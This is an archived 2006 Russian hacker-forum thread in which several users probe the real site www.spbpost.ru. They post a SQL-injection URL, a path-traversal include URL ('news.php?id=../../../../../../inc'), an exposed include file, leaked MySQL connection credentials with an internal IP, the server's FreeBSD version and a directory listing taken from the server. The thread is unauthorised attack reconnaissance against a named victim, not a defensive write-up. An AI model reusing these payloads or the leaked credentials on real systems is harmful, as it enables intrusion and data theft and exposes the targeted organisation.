PDA

Просмотр полной версии : Sql инъекция на www.spbpost.ru

Mobile
02.04.2006, 15:10
http://www.spbpost.ru/spbpost.php?id=foto&di='1'
tclover
02.04.2006, 15:13
_____http://www.spbpost.ru/spbpost/foto.inc
Mobile
02.04.2006, 15:19
http://www.spbpost.ru/spbpost/
Права на директорию неправильно выставлены
drmist
02.04.2006, 15:58
$link=mysql_connect('192.168.48.1','bduser','user1 253');

0_o
)))
Mobile
02.04.2006, 16:13
$link=mysql_connect('192.168.48.1','bduser','user1 253');

По подробней пожалуйста...
virgoz
02.04.2006, 16:36
Там и инклуды:
_http://spbpost.ru/news.php?id=../../../../../../inc
Жалко 0-байт не канает.
drmist
02.04.2006, 16:48
Mobile
по подробней?
читай второй пост - это оттуда.
drmist
02.04.2006, 16:55
Кстати. Зачем рефереров оставляете?
m0nzt3r
02.04.2006, 17:34
$link=mysql_connect('192.168.48.1','bduser','user1 253');
значит мускул не на localhost-е)
Utochka
02.04.2006, 17:41
да че вы с эти мускулом, я вот уже ось узнал
FreeBSD postwall.spbpost.ru 5.0-RELEASE

а вот список файлов в папке ))

1626891 drwxr-xr-x 3 spbpost wwwadmin 512 26.09.2005 17:57 cod
1627115 drwxr-xr-x 2 spbpost wwwadmin 512 12.12.2005 17:54 files
1627196 drwxr-xr-x 10 spbpost wwwadmin 2048 22.03.2006 12:21 images
1889411 drwxr-xr-x 3 spbpost wwwadmin 2048 27.03.2006 15:18 news
1889427 drwxr-xr-x 2 spbpost wwwadmin 512 11.11.2005 18:06 other
1889429 drwxr-xr-x 2 spbpost wwwadmin 512 26.09.2005 17:57 partner
1889431 drwxr-xr-x 2 spbpost wwwadmin 512 26.09.2005 17:57 pravila
1889433 drwxr-xr-x 2 spbpost wwwadmin 512 27.09.2005 20:17 service
1889445 drwxr-xr-x 2 spbpost wwwadmin 512 26.09.2005 17:57 spbpost
1889464 drwxr-xr-x 2 spbpost wwwadmin 512 26.09.2005 17:57 tarif
1889475 drwxr-xr-x 2 spbpost wwwadmin 512 26.09.2005 17:57 vakans
1634973 drwxr-xr-x 6 spbpost wwwadmin 1536 27.02.2006 13:42 test
1627202 -rw-r--r-- 1 spbpost wwwadmin 22 26.09.2005 19:45 test.php
1627284 -rw-r--r-- 1 spbpost wwwadmin 203 24.09.2005 20:04 in.php
1627285 -rw-r--r-- 1 spbpost wwwadmin 198 11.11.2005 17:13 index.php
1627286 -rw-r--r-- 1 spbpost wwwadmin 211 24.10.2005 16:26 news.php
1627287 -rw-r--r-- 1 spbpost wwwadmin 203 24.09.2005 20:04 partner.php
1627288 -rw-r--r-- 1 spbpost wwwadmin 203 24.09.2005 20:04 pravila.php
1627289 -rw-r--r-- 1 spbpost wwwadmin 203 24.09.2005 20:04 spbpost.php
1627297 -rw-r--r-- 1 spbpost wwwadmin 201 24.09.2005 20:04 tarif.php
1627382 -rw-r--r-- 1 spbpost wwwadmin 202 24.09.2005 20:04 vakans.php
1642797 drwxr-xr-x 4 spbpost wwwadmin 512 13.02.2006 20:08 podp
1627476 -rw-r--r-- 1 spbpost wwwadmin 24 11.11.2005 16:02 .htaccess